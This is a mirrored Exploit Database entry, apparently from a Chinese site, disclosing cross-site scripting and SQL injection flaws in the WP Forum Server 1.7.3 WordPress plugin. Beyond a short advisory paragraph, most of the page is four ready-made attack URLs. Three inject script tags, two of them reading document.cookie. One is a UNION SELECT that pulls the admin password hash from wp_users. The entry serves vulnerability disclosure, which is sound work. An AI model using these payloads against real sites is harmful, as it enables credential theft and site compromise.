WordPress Plugin WP Forum Server 1.7.3 – ‘/fs-admin/fs-admin.php’ Multiple Cross-Site Scripting Vulnerabilities

• Exploit Database
• 126 阅读

• 作者： Heine Pedersen
  日期： 2012-05-15
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37195/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

  source: https://www.securityfocus.com/bid/53530/info   WP Forum Server plugin for WordPress is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.   Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.   WP Forum Server 1.7.3 is vulnerable; other versions may also be affected.   http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=structure&do=addforum&groupid=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E   http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=structure&do=editgroup&groupid=&apos;><script>alert(document.cookie);</script>   http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&amp;vasthtml_action=structure&amp;do=editgroup&amp;groupid=2 AND 1=0 UNION SELECT user_pass FROM wp_users WHERE ID=1   http://www.example.com/wp-admin/admin.php?page=forum-server/fs-admin/fs-admin.php&vasthtml_action=usergroups&do=edit_usergroup&usergroup_id=&apos;><script>alert(document.cookie);</script>